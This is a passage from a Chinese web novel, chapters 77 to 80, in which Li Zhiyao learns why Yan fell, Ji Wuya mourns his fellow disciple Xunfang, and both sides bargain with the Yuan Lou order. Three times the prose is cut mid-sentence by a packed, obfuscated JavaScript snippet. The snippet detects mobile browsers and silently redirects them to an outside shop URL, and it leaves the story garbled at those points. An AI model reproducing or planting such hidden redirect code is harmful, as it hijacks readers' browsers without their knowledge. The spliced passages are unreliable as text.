因为纪无涯是唯一一个除了陆海清之外知道智先生是何模样的人,加上上次他初次进宫上朝确实看到了智先生站在百官中。 加上智先生知道他跟宿宁公主牵扯不清,所以断然不会再继续留着他成为自己的隐患。 想明白这一点纪无涯勾唇笑了笑,忽然察觉怀里的人动了动,他赶忙垂下眼眸去看李之夭是不是醒了,见她依旧双眸紧闭,心顿时往下沉了沉。 “所以?” 他有些烦朝堂上这些老头子们个个张嘴闭嘴故弄玄虚的模样,话也不说清楚,讲话也是慢悠悠的,恨不得一句话拆成三句来讲,其中两句还得顿一顿喝口茶润润嗓子。 这让他本就有些焦躁的情绪不耐烦到极点。 沈齐自然也察觉出纪无涯的情绪,也就继续往下说,“所以我想说,你所认识的智先生并不像你想象中那样,但有一点我可以肯定告诉你,智先生不会跟北唐的人勾结在一起,他跟我之间不过是因为一个宿宁公主的去留而已。” 他这么说自由他的道理,昨晚他和李之夭过来偷听已经察觉出来了,并非他掩藏得不好,相比较是李之夭并非真正的习武之人,哪怕刻意放缓自己的呼吸节奏,也依旧掩盖不了被他身边暗卫察觉的情况。 “缘楼情况错综复杂,我想你得跟你们楼主好好聊一聊。” 纪无涯将李之夭交给踏雪搀扶着,牛大壮见他们这里暂时没有危险顿时也放下心来,外头还在兵荒马乱,加上缘楼门口若不是有名缘楼弟子拼死帮他们处理了拦路的四长老,他们也没这么快冲进来,后面的事情牛大壮确定不是自己能听的,索性找了个借口自己离开。 “你们先聊,我先去缘楼门口看一看,还有没有别的什么危险,我能迅速带队过来,多亏了你们身后二人把我救出来,还有在门口帮我们清理了毒物的少年,不然光光那个用毒的老头够我们麻烦半天了,只可惜等我们到的时候那位少年已经没了气息。” 纪无涯下意识拉住牛大壮的胳膊,“什么少年?” 牛大壮挠了挠头,“我也不知是不是你们缘楼的人,长得白白净净的怪好看的,穿着蓝衣,死的时候身体已中毒浑身发紫,不过我感觉应该是你们缘楼的人,不然也不会跟用毒的老头同归于尽。” 不用想用毒的老头一定是四长老,他还担心他会不会因为缘楼其他人死了而选择跑路,犹豫要不要专门去找他把人宰了,现在倒好直接省得他直接动手了。 提及此人牛大壮挠了挠头,喋喋不休继续说道:“也多亏了此人,我们才能进来过来支援,真是英雄出少年,可惜上天不眷顾。” 但纪无涯想想若是缘楼的人跟他年纪相仿的人除了寻方也就十六一人,如今十六死了,寻方跟雪在一块,更不可能是他。 寻方一向最听自己的话,不会就这么过来了。 想到这里纪无涯心里才稍微好受些,沈齐也宽慰道;“既然是帮你牛将军大忙,自然不能亏待了人家,哪怕死了也要好生安葬。” 牛大壮点头就退下了,纪无涯目光直愣愣追着他离开的背影,鬼使神差的跟了上去,“我跟你去。” 纪无涯走到门口停下,对踏雪道,“你们也跟我一起走吧。” 踏雪应了一声,现在跟里面丞相说话的人都没了,他们的目的是救出主子,现在目的达成自然也没留下的必要。 刚想跟着纪无涯离开,原本昏迷不醒的李之夭忽然睁开了眼睛,摁住了踏雪的手。 “我们晚点过去跟纪无涯汇合也是一样。”她虚弱的开口,然后指了指里面,“扶我进去。” 踏雪把她扶到有靠背的椅子上坐下,找了软枕过来给李之夭垫在背上。 “沈相,初次见面。”李之夭也不跟他客气,“刚才你们说的话我全都听见了,智先生到底是谁?” 她在纪无涯和沈齐说话的时候就已经醒了,只不过装作没醒的样子看看是否能听到他们一些对话,没想到刚有点苗头,后面全被牛大壮说的话打乱了。 智先生此人,她初到京城时便已有耳闻,只不过让银来庄私底下打探许久都没任何关于他的一点线索,两年的时间下来一无所获。 沈齐端起茶杯喝了一口,没了纪无涯那个杀神在,现在他心情都放松不少,喝完才让身边的暗卫给他送来一张纸条,“这是贤妃写给我的信。” 李之夭并未迟疑直接接过,上面说京城近日可能会有大动作,希望他尽早回京。 连日来的大动作,无非就是吏部那边,“宋庆死了,吏部尚书的位置空了出来。” 沈齐道:“此事我已知晓,这也是关键。”说着他又给李之夭递了一封信来。 李之夭看完惊呼出声:“老师?他来这里干甚?” 沈齐望着她,“我跟徐子清意见不合,我离开京城的事,想必你也有所耳闻,我在缘楼,你也在缘楼,现在徐子清丢下京城一堆烂摊子瞒着皇上带着亲信也来了缘楼。” 要么有人故意泄露消息引徐子清过来,要么就是他压根就知道李之夭他们都在缘楼,所以才千里迢迢跑过来宁缘城。 “你若不想被皇帝知道你出来的消息,这次缘楼出动驻军的事,我可以帮你把这件事瞒下来,阿宁跟我说她跟皇上说了让你下个月出宫住在外面的事,我瞧你身边这两名暗卫事实也证明我猜想不错,你并非是个表面安分的主。” 李之夭把信还给他,“可我依旧没有复国之心,若我不找点自保的能力,如何在每天晚上是刺杀的宫里活下来,沈相,我敬你贤妃的爷爷,贤妃跟我母亲有些交情,我不想与你为敌。” 沈齐哈哈笑了起来,“若我说我并不介意你该如何?其实我跟徐子清在新皇犹豫燕国最后归属时就有过一次分歧。” 李之夭只觉自己呼吸都紧了几分,沈齐此人,书中说他一直是闲游在外的人,自从大魏覆灭燕国后,他离开就再也没回来,书中并未说明其中曲折,李之夭也并未多想,因为政见不合的人在朝中多了去了。 只是最后大魏被北唐覆灭了,沈相也未曾出现,反倒是太傅徐子清跪在满目疮痍的城门前,一声一声敲击着战鼓,想要再次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328732|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唤起大魏将士的斗志,最后在城门破开时,他一头撞死在城墙上。 所以根据书里的剧情,李之夭对此人并无多少好感,哪怕后来进了大魏皇宫,她也懒得去管沈齐。 如今他们在这里碰上,说了这么多话,李之夭听了只觉头大。 能不能把话一次性说完非要说半句吊人胃口。 “为什么?” “当初收到你母妃的求救信时,当时我们大魏新朝刚稳定,她希望皇上能派兵过去结束燕国当时的情况,我跟太傅因为解救之后燕国存留产生了分歧,我希望留下继续燕国,若是大魏吞并,北唐必定风声鹤唳,但太傅主张吞并,这是将士们亲手打下来的江山,哪有拱手送人的问题。” 外面忽然下起了雨,夜色阴沉,看不见一点东方启明的迹象,窸窸窣窣的雨。 李之夭心里忽然就明白了,最后皇帝的选择,她苦笑一声,自己曾经是差点还能拥有母亲的。 沈齐把一张泛黄的信纸拿出来,李之夭看见上面的字迹顿时认出是她母妃的字。 ——阿兄,燕国皇室如蛀虫从里开始溃烂,天下百姓苦不堪言,恳请阿兄带兵助燕国度过劫难。 看到此处,李之夭的眼泪忽然掉下来,拿信的手开始颤抖,她咬紧唇,用力绷紧牙关不让自己哭出声。 是助,不是灭啊。 从听闻大魏带兵攻过来的时候,到觉醒后,她听到的消息都是大魏的和亲郡主,燕国后宫中的雪妃苦于天下百姓,恳请自己的兄长对燕国出兵,换新的统治者,给天下百姓一个安宁。 李之夭听到的是她母妃背叛燕国,让大魏的人过来攻打。 可见到这封信的时候,她才明白,信的源头从一开始只是求助,她不过是想给燕国换个掌权者,让有实力的人助她推翻燕国现皇室的把控,换新的人带领燕国走向新生。 最后确实成了灭国的契机。 “难怪母妃临死前的条件是让他护着我,照顾我余生安稳,把我养在宫中,还给我属于大魏公主新的身份和称号,难怪有这么多人想杀我,是因为他也在担心有朝一日我知道事情的真相,会不会起了谋反的心思。” 后面的问题李之夭也看得明白,若是留下燕国,谁掌权就是问题,若是她的母亲连漱,江氏第一个不同意,连家的宗亲们也都不同意,连漱曾在连家的遭遇,等她根基坐稳实力强大,若是日后有了跟大魏一战之力的势力,那按照连漱的性子,必定会报复回来。 他们不会允许这样的事情发生,若是派大魏人过去,更是万万不能,黄土之上,燕国百姓早已苦不堪言,在谁手底下生活不是生活,他们根本不想在经历战争了。 燕国覆灭,是上位者对权力的追求和选择,亦是民心所向。 百姓渴望新的朝政带领他们走向新生。 所以那封求助信,沈齐和徐子清两人意见相左,最后她的母亲知道带兵攻打燕国,而不是解决皇城就知道自家兄长的选择,也明白她必不可能活着。 不然那封信的真相迟早是埋在清武帝心里的一根刺。 才毅然决然选择以身殉国,全她性命。 李之夭撑着一把伞浑浑噩噩的走在大雨中,雨水飘摇落在她身上,手上的伞也都不管用了。 从前她以为自己的敌人只会是裴淮和苏月清两人,哪怕他们算不上真正意义的敌人,现在她连这个世道都看不清了。 走出缘楼的大门,檐角上的灯笼被风吹得歪歪斜斜,铃铛声传来。 她在屋檐下看到似乎有两个人在那里。 一个躺在地上,一个坐在地上背靠墙角,听到有动静传来,坐着的少年转头将黑白分明的眸子落在她身上。 他一只手搭在膝盖上,手里捏着一块小牌子,纪无涯神色紧绷,他的头发被雨水打湿,身上穿着黑色的玄衣,想张嘴说什么,但半天没出声。 李之夭看到旁边地上躺着了无生机的人正是寻方。 他们立在大门下,双方眼里含着复杂强烈的情绪,一人仰望一人俯视相看两相望,看着对方眼里因不同的原因却是同样的悲伤。 78. 本能 第78章 李之夭收起伞坐到纪无涯身边,踏雪飞鸿他们先去外围排查是否还有别的危险,她明白纪无涯的悲伤从何而来,本想安慰他,但又不知从何说出口,她不会安慰人,哪怕当初灭国后,她也是咬紧牙关一步步走到今天。 来不及悲伤,就得逼着自己长大。 今晚知道当年灭国并非不是毫无挽回的余地时,心中对这位身为自己舅舅的男人当初的选择感到心寒。 这位记忆里从小照顾母亲的男人,他不是没有犹豫过,只是换做任何人在对自己未来疆土的向往上不会不动摇,因为这样的功绩足以在史书上记上浓墨重彩的一笔,名传千古。 纪无涯垂着头,无数次听到旁边时不时传来轻微的叹息声,尽管李之夭觉得自己叹息声已经聊胜于无,还是被纪无涯敏锐的捕捉到。 “向前看吧,李之夭。” 他望着已经用白布盖住只露出来头的寻方,他面容安详,离开之前心情应该很平静,除了被毒物咬到的伤口,体内还有断魂烟和黯然销魂散的毒素残留。 寻方知道自己活不了了,所以才选择跟四长老同归于尽。 “你后悔了吗?”李之夭望着前方,她知道纪无涯把药珠最后一次机会给了她,不然她不会这么快就解了毒,活蹦乱跳地出现在这里。 若不是给了她,万一纪无涯留着药珠的最后一次机会还能救寻方。 纪无涯说不后悔,“我只是后悔为什么我不早点跟封先谈谈,早点知道下月集的线索,后悔为什么上次我自己用了一次药珠,没有把机会留下来给寻方。” 李之夭怔怔侧头望他,“为什么救我?明明你我之间早就两清了,纪无涯。”说着说着,她眼泪再次掉了下来。 “你救了我,这次我可以把南州城的一间银来庄划到你的名下,南州的银来庄盈利不必在京城的银来庄差,若你不想要,我可以让利五成,每年银来庄的收益你能拿五成。” 纪无涯侧目看来,“这些我不需要了。” 雨水敲打屋檐青瓦,风铃声也在风雨里显得不正切,门口摇曳的灯笼被风吹了下来,滚落在地上,里面微弱的火光瞬间熄灭,眼前化成一片沉暗。 李之夭在黑暗里看不见他的眼睛,只觉对方漆黑的眸子此时是在注视着自己,他说:“救你是内心的想法,出于本能,无关利益。” 怔愣几瞬息,她忽然释怀地笑了,尽管眼泪还是再往下掉,心里从十三牢就郁结的情绪散了,她跟人讲究利益往来,不管做什么,只想着价格到位,没有什么是办不成的,新朝初期,各方面都需要金钱打点,有钱能使鬼推磨这句话被她掌握玩得淋漓尽致。 所以一开始面对纪无涯时,知道他一开始并未对自己起杀心,出于好奇他的身份之外,还得意于她能用金钱买命,只要有钱一切都好说。 她本以为自己开出的条件已经足够诱人,银来庄身份大魏最大的钱庄,每年进账流水让五成的利润听起来不多,但足以让往后的生活锦衣玉食,置办一处大宅子,养几个仆人,逍遥快活过完一生。 李之夭挫败的垂下头,突然庆幸此时场景黑暗,他看不到自己面上表情。 后面二人皆是沉默无话,躲在黑暗里,谁也不会因为谁的表情觉得尴尬。 踏雪飞鸿回来的时候他们才从这样的氛围里脱离出来。 令人惊讶的是牛大壮也跟着他们一起过来了。 外面的雨渐渐停了,经过一夜的洗礼,缘楼终于迎来属于它的黎明。 经过许久的调整,他们二人脸上都看不出曾经的悲伤情绪,除了纪无涯嘴唇略微有些发白,其他的一切都还。 他背起寻方的时候步子忽然踉跄了一下,李之夭扶住他,“你晚上毒又发作了?” 纪无涯站稳身子摇摇头说没有,但他苍白的面色却出卖了他,李之夭拉住他的胳膊,神色略微有些严肃,“你打算要去哪?” 他听到这句话明显怔了怔,李之夭见他不出声便替他拿了主意,“你跟我一块走,下山后先安葬寻方,你这样子会让许奶奶和赵叔担心的,还有雪在等着你,我帮你找下月集,权当是这次你救我的报答。” 昨晚她提出来的条件纪无涯全都拒绝了,思来想去也没什么东西能够再让她拿出手,最后只剩下下月集,下卷在大魏皇宫,名为《大若心经》,就算取不出来,她也记得里面的内容,能默下来给纪无涯,有了下卷上卷一定能找到。 “下卷就算拿不出来,我也能给你默出来,我小时候经常听我母妃念,我也时常自己看,我记得。” 纪无涯喉.结上下滚了滚,“好。” 牛大壮想帮他接过寻方,纪无涯再次拒绝了,“我想送他最后一程。” 十三牢已毁,封先也死在里面,就算李之夭想再去问他什么也没个办法,但她知道,纳多族的灭亡,跟北唐也脱不了干系。 如今四位长老身死,他们效忠于苏月清,算是断了苏月清在江湖里的助力,书里苏月清靠着江湖势力可是帮裴淮创造过不少优势。 李之夭只觉得因为自己觉醒,带来的效应有些大了。 不过只要她未雨绸缪,就不会有太大的问题。 下山前蓝素衣带着沅露拦住了他们的去路,目标应该是纪无涯,李之夭不会同意她们带走纪无涯,直接示意踏雪飞鸿上前,若她们敢动手,不必客气。 蓝素衣见纪无涯身后的寻方时也倍感惊讶,“十三。” “寻方和小十九我们三人的铭牌我昨晚已经拿到了,其他人的铭牌没有动。”纪无涯声音很平静,在跟蓝素衣她们说着一些无关紧要的小事,“我从十三牢出来,共取五位护法性命,和三位长老性命,不知这样的条件是否够我离开缘楼,符合楼主你的要求。” “你就这么想离开缘楼?离开缘楼究竟有什么好!缘楼成立之处就是为了邀月一族,缘楼部分弟子都是纳多族人,当年三朝皇帝并,没把族人全部剿灭,他们都在活着,等了二十一年,只要你一声……” “蓝楼主。”李之夭出声打断蓝素衣的话,眼神警告,而蓝素衣才送激动的情绪里回过神来,不由自主看向一旁的牛大壮。 “报仇之事我已应下,不过我对你们的筹谋不感兴趣。” “缘楼谁不想报仇!早知如此,当初我就应该让你死在雪地里,不把你捡回来!你这条命是我给的,缘楼给的!”蓝素衣一挥衣袖,心中悲痛万分,他们这些人守着缘楼,想着有朝一日,曾经守护纳多族的邀月使能够再次站起来,带他们完成复仇,若有可能,颠覆整个超纲他们也愿意,毕竟这是三朝欠他们的。 可当了杀手这些年,蓝素衣本以为会磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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牛大壮没反应过来刚想带人去追李之夭出声拦住,“不用追了,那是我的人。” 她转头看向蓝素衣二人,“蓝楼主聊一聊?” 蓝素衣想出声拒绝,沅露率先开口,“你想聊什么?” “聊一聊你们缘楼的事。” 沅露也是个聪明人,试探性问道:“怎么,你对我们的计划感兴趣?不知称你是大魏的宿宁公主还是燕国的寻阳公主?” 牛大壮瞬间紧张起来不可思议地看向李之夭,“你想背叛皇上?” 现在她身边有暗卫的事牛大壮的部下已经看见,传到清武帝耳朵里是迟早的事,以及被清武帝质问,李之夭想不如自己先谋算好以后的去路。 昨晚沈齐说的话真实性有待考究,反正徐子清也快到宁缘城了,她不妨先去探一探徐子清的口风。 沈宁没问题不代表沈齐就没问题,比起书中出现的剧情,徐子清的为人更值得她相信。 缘楼经历一场洗礼,书中苏月清的师父会经过此地,并对缘楼出手相助,许诺缘楼日后的条件,成为苏月清暗中的一大势力,这件事纪无涯都不知道。 “我不会背叛皇上,我也有我自己的事要做。”她指了指身后出来的沈齐,“你不得去接一下丞相大人?” 79. 同伙 第79章 牛大壮没有想离开的意思,而是站在原地不动弹。 看着越来越近的沈齐等人,李之夭终于忍不住开口道:“牛将军此次前来,其实是为了沈相吧。” 说来也简单,她跟牛大壮之间的交情,也就是在燕国皇宫的时候几次甜点,她为了找个人说说话,牛大壮扮做燕国人混在宫里,也是为了打探情报。 他是清武帝麾下的将士,在燕国除了知道连漱的基本情况,还有打探燕国皇宫情形,她告诉他想知道的,牛大壮同样给她相应的价值。 身为燕国的士兵,怎么可能在大魏建立初期,就能当上一军将领。 牛大壮说是清武帝的人,更准确应该说是沈齐的心腹。 “公主。”他面色纠结,被拆穿的尴尬横在他中间,在燕国皇宫的记忆也是他最珍贵的回忆,“有些事我不会说出去的,权当是当年在燕国宫里承蒙公主照拂,还了这份恩情,若公主有麻烦,末将定会助公主一臂之力。” 李之夭摆摆手说不用,“我能有什么麻烦,去接沈相吧。” 她临走前看向蓝素衣和沅露,歪了歪头语气有些天真,“你们不跟我一起走吗?” 沅露她们对这样的人向来没什么抵抗力,下意识因为李之夭的语气而跟着她往山下走。 刚下过雨,缘楼昨晚出了这样的变故,几乎一半的人跟着四长老起乱,现在楼里还剩下一堆烂摊子等着收拾,路上遇不到什么人。 “纪无涯的身份我差不多都知道了。” 下山路好走,每一步之间都有青石砖铺在地上,迎面吹来的风里还裹着些未全部消散的水雾。 “只不过我有些不明白,既然纪无涯对你们缘楼那么重要,为什么又非要对他下手。” 蓝素衣负手走在身边,在对方说话的时候把人上上下下打量了好几遍,身上衣衫不干净,甚至破破烂烂的,染着血渍,哪里看得出来像是有公主的样子。 她们都不说话,李之夭继续道:“纪无涯现在在我手里,还请知无不言言无不尽。” 沅露当即想拿出匕首威胁李之夭,她抢先补充,“若是我有任何一点伤,他们都不会救纪无涯,若是我死了,托这位姑娘的福,纪无涯也得下来跟我陪葬,” “收起来吧。”蓝素衣妥协,“你想知道什么。” “你们缘楼跟北唐有勾结,先前可以说你们受四位长老压迫不得不妥协,但蓝楼主,大护法前往北唐是去找安庆帝么?” “你怎么知道大护法离开了缘楼?” 李之夭笑了笑,“出了这么大的乱子,昨晚到现在大护法都不在,只有二护法和你在主持大局,我手底下的人看到你们又是传信去京城的,又是大护法离开去南方的,加上四位长老身后的人,不难猜。” 蓝素衣和沅露对视一眼,最后如释重负地叹了口气,先前还一心一意想要惩治李之夭,想要她死,现在她们又聚在一起,都快到了交底牌的时候,握手言和,其中转变真是突然。 “我会让大护法尽快回来,让他不去北唐了。” 李之夭微微挑眉,“智先生是谁?” 她们面面相觑,几番挣扎和欲言又止,最后沅露说道:“我们也不清楚智先生的身份,缘楼左右分开后,智先生就去了京城,他在京城官居几何从未透露过,我们的人除了十三和一直跟着他的十四,没人见过他的真面目。” “为什么是纪无涯?” 后面她所接触的所有事情,全都跟纪无涯扯上了关系。 “智先生也知道十三师弟的身份吧,对于十三我们纳多族未来的少主,凡是纳多族人都有些在意。”沅露解释。 纳多族的灭亡与其说是封先导致,不妨说最后做出决定的是三国帝王,他们因为利益相同而暂时握手言和,把刀枪对向了手无寸铁无辜的百姓。 若是还活着的安庆帝知道纳多族并未完全灭亡,甚至有规模的汇集了起来,心中该作何想法。 “我们小的时候经历那场噩梦,我们是藏在纳多的密室里才得以存活,邀月使把他们活命的道路留给了我们,引开旁人注意力,这么多年缘楼存活下来的纳多族从未忘记寻找邀月使,本来我都有线索了,因为那个老和尚捷足先登把十三带回了护国寺,才让十三变成现在这样子,完全忘记族人的仇恨,从前在缘楼甚至还动了出家的念头。”蓝素衣嗤笑一声,说到最后神色有凛冽几分。 从对话里李之夭也能猜出蓝素衣她们的打算,想等她死了,打击一下纪无涯,好让他乖乖听话,按照自己的意思去完成属于他们的复仇大业。 李之夭自己都不信她能在纪无涯心里占据多少地位,让寻方和雪来刺激都比她好。 她的死能给纪无涯带来多少震撼? “我统领至今的缘楼,都是在为了纳多族准备,其实说起来你跟纳多族也有些渊源,因为燕国的第一任开国皇帝就是纳多族人。” 根据封先的描述,纳多族属于北唐境内。 若她体内有纳多族的血脉,也算十分之一的北唐人。 李之夭失笑,自己本身,还真是谁都能沾上一点。 不知道朝堂上那群看她不顺眼的老东西知道会不会再次吹胡子瞪眼,拿出来做文章,继续口诛笔伐。 “对待自己的同胞,你们还真是下得了手。”李之夭睨了她们一眼,有些阴阳怪气的,“你们想撺掇纪无涯……” “不是撺掇。”沅露打断,“我们是复仇。” 李之夭说行,“想撺掇纪无涯为领头拿下江山,如今天下太平,就算不太平,也能形成相互制衡的局面,短时间不会再起战乱,除非有人故意挑事,若无人挑事,你们此举跟当初毁坏家园的三国皇帝有何区别?” “这么多无辜的人就这么算了吗?”蓝素衣现在彻底不理解李之夭的脑回路。 她果断摇头说当然不能算了,“当初的罪魁祸首,就剩下安庆帝一人,纪无涯本来都打算去捅了那老头子报仇,被二护法捅了一刀这件事估计就得耽搁一段时间才行,这就是轻举妄动啊。” 沅露当时也是在气头上,想着有这样丝毫不把纳多族人的仇恨放在心里,甚至想轻轻拿起,轻轻放下,当做什么都没发生一样,恨不得一刀砍了他。 李之夭哎了一声,“冤有头债有主,你们这么想报仇,索性跟我一道,届时我帮纪无涯恢复伤势宰了安庆帝,替你们报仇皆大欢喜,若你们觉得心有不甘。” 她佯装沉思想了想,最后拍手定案,“我当一回 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踏雪带着李之夭上了马车,驾车离开,飞鸿拦路断后,他看到后面的驻军大部队下来后立马溜走,她们身后的丞相沈齐策马行至跟前。 蓝素衣她们想追也都不行,反倒是被李之夭耍了一道。 马车飞快行驶,月缘山距离宁缘城不算远,一刻钟就到了,到城门口李之夭下来改做步行,怕宁缘城有缘楼的眼线把她行踪告诉给蓝素衣,银来庄的事就藏不住了,她跟踏雪避开耳目悄悄回去。 再让飞鸿去纪无涯家里找许归和赵南涧夫妇,若纪无涯有什么三长两短,也能见上最后一面。 进了银来庄耿进才率先迎上来,没有过多的客套话,齐齐朝安置纪无涯的客房走去,到的时候,已经有银来庄专门的大夫在帮纪无涯缝合伤口了。 直至过了午时,大夫才处理完他身上除了沅露刺的那一刀以外的全部伤口。 夜里缘楼那一场恶战,就算李之夭都看得明白已经是伤了根本,不长时间休养根本恢复不过来。 金三娘将她喊到一边,李之夭仍然有些不甘心地问她寻方的情况,“那人当真就不活了?” 金三娘摇了摇头,“他体内毒素过多,那些毒物专门被人培养,单单其中一种毒都够忙活半天,别提那么多种毒物混在一起,相互错杂,侵入肺腑,吸入了断魂烟,我推测纪无涯到的时候人还有一口气,若当时有药珠解百毒,他说不定能活下来。” 李之夭怔在原地,也就是说当时纪无涯赶过去,寻方不是不能救,而是明知寻方生的希望,纪无涯眼睁睁的守着,无能为力。 那样的情况下,他心里该有多绝望和无助。 李之夭不禁握紧了拳头,若药珠最开始不是给她用了,寻方就能活着。 难怪纪无涯后悔用了那一次药珠的药性,她只觉呼吸瞬间有些难以顺畅,心头堵得慌。 金三娘拿出一封信递上前,“主子,最开始你交代调查纪无涯的身世,我们现在查到了他现在爹娘住的地方,就在天水城,开了一家酒楼,日子过得很不错,他们老家在洛城栾县,三年前才搬到天水城。” 80. 铭牌 第80章 纪无涯不知自己到了何处,他于黑暗中似乎看到了很多有关自己从前的往事,就连接连两世,他忘记的爹娘面容在此时也变得格外清晰起来。 说起来,到现在他都快忘记幼时经历了些什么,甚至对那份亲情的渴望都变得微乎其微。 眨眼天地变幻,他回到晚上跟着牛大壮出缘楼的时候,看到躺在地上的人时,他终于明白自己心底隐隐传来的焦躁不安从何而来,因为此人不是别人,正是寻方。 他来缘楼除了楼主之外认识的第二个人。 纪无涯上前把人从四长老的尸体上扒下来,牛大壮见他们认识也没说什么,而是带着人去周围消除毒虫。 雨打在他们身上,寻方察觉有人赶来微微睁开眼看着眉头紧锁,眼中满是悲伤的纪无涯,临死前看到他自己反而轻松不少。 寻方轻笑一声,“师兄。” 纪无涯取出药珠想尝试运功看看药珠是否还有残留的药力帮他解毒,可半晌丝毫感受不到有药力的存在,甚至显得黯淡无光。 不管尝试几次,药珠并没出现奇迹,他颓废地垂下头,眼中满是自责和悲伤,“对不起。” 纪无涯欲要将他背起来带下山找人解毒,寻方却拽住他的衣袖,“师兄,来不及了。” 雨水打在他们的面上,有些凉,纪无涯跪坐在原地,眼眶有些发红,有千言万语,他想问他为什么不听话来了,为什么不爱惜自己的性命,就这样走了,答应雪的话该怎么实现,纪无涯很想大声质问他是骗子,说好听他话的师弟,现在怎么变得这么不乖。 他突然很想说不认这个师弟了,让他活着赶紧滚开,只要他活着,以后他都不会管他了,还有雪,爱咋么样就怎么样,他全都不管了。 全部的话压在喉.咙里,让他根本说不出来一个字。 纪无涯心中只是懊悔,为什么他之前要用了一次药珠,他的命本就活不长久,用了也无非是解了毒续上命而已,如果不用,现在寻方就有救了。 “师兄,别自责,雪还在农舍里,她还在等你。”他努力睁开眼睛,但雨水打在面上,雨滴溅到他的眼里,让他好想闭眼,“师兄,我想要铭牌了,只能拜托师兄帮我取回来了。” “好,我帮你拿回来。” 纪无涯将他背起放到屋檐下避雨,特意检查四周是否有没有危险,并找驻军帮他守着,身形才消失在雨幕里。 缘楼护法每个人的铭牌都在缘楼的禁地里,禁地在后山的断崖下,那里平日都有四位长老守着,今日四位长老都不在了,他进禁地简直易如反掌。 禁地里除了一座刻着看不清人名字的坟冢之外,并无其他,剩下都是密林,还有被雨压弯腰杆的萋萋芳草,坟冢两旁用树枝木板和棕毛搭建起来的置物架,遮挡雨水的小檐下,纪无涯点亮两边的石灯,置物架上放着二十个罐子和许多用红绳挂起来的铭牌,风一吹铭牌碰撞发出声响,在置物架的最上面放着一排上了年纪的牌位。 牌位是缘楼历代楼主的名字,纪无涯推测这里就是放铭牌的地方。 每个人加入缘楼的时候都会自己刻一枚有自己的铭牌,刻好后将其放在罐子里封存,这样代表把自己交到缘楼,只有死了才会打破罐子,让铭牌挂在这里重见天日。 他按照顺序找下来,找到自己、寻方和雪三人的铭牌收在身上,怕寻方等不了就往回赶。 路过东阁楼的时候,见李之夭已经醒了,本想上去问她要不要一起走,但到门口时却听见清武帝灭燕国时真正的选择,他站在门口,听她的声音虽然镇定自若,可袖子下紧握的双手早就出卖了自己。 他闭上眼,现在带她离开按照她的性子不弄清楚原委是不会走的,纪无涯便先去了寻方那边。 回到缘楼门前的屋檐下,迫不及待把属于寻方的铭牌拿出来在给他看,寻方想伸手去握铭牌,铭牌是一块核桃木的树皮制成的,上面有他的名字,字迹歪歪扭扭,甚至还有一滴发沉的血迹。 他望着痴痴笑了起来,“当初刻它耗费大量力气,觉得它沉重万分,如今再次见到,我却连拿它的力气都没有,明明那么轻的一小块,为什么对缘楼弟子来说,是遥不可及的东西,想带回家,去走遍江湖,师兄,那是我,把自己交到缘楼的我啊,那么小的我,我要带他走啊,师兄!” 寻方眼泪忽然掉了下来,他极力想去触摸到那块铭牌,哪怕纪无涯把铭牌塞到他掌心,他都没有一点力气去握住它。 去握住年幼把自己交到缘楼的自己,那双手就这样停在光里,“师兄,我好像看到十三岁时的我了。” 纪无涯感觉到寻方用来吊着一口气的内力迅速消散,不管他输进去多少都像个无底洞,直到他闭上双眼。 自己刻下的铭牌,二十位护法都把自己的名字封在罐子里,名字是自己,罐子就像缘楼,若不能从里面出来,总觉得自己完全没从缘楼脱离,那是进入缘楼的少年,倘若要离开,也要完完整整潇洒不会回头的离开。 离开后,去往外面的天地,看春花夏树,秋实冬雪,天地自在。 纪无涯心仿佛被扯开一道口子,外面的雨一起灌进了心里。 他坐在地上,直到牛大壮上前说句逝者安息替寻方盖上一块白布,然后带人继续清理战场。 他紧紧握着手里的铭牌,指节泛白青筋暴起才松开,察觉动静的时候,他转头看到了站在跟前的李之夭。 李之夭站在那里,恍惚间他却觉得她身后的黑夜变成了白昼,骄阳猛烈,再一瞬间漫天星辰斗转,她冲他扬起了笑颜。 纪无涯伸手靠近却握住一片虚空,但刹那间光影骤亮,躺在床上的纪无涯猛地睁开了双眼。 “醒了醒了!”小二兴奋地声音迅速朝外传去,然后房门大开,脚步声层次不齐传来。 赵南涧扶着他坐起来,纪无涯看了一圈,发现没有李之夭,“李之夭呢?” 耿进才道:“主子现在已经不在宁缘城了,她要离开一段时间。” “什么时候走的?”若是刚走不久,他应该能追上她。 “六天前。” 纪无涯一怔,他晕了有这么长的时间么,许归朝他头上拍了一下,“可不是,你晕这么久,身上的伤口日日帮你换药,如今也快结痂了你可得好好休息,乱跑。” 他捂着头面对这么多人的威压,还是点头应下,端上来的药不知道加了什么,纪无涯短暂醒来后又昏睡过去。 小二依旧留在屋里守着,耿进才带着飞鸿去到柴房里,推门进去是洛萤,她被五花大绑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369504|142084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,嘴里还塞了布防止出声,见有人进来,她挣扎呜咽几声。 耿进才捏着胡子,忍不住忧心起来,这六天可是发生不少的事。 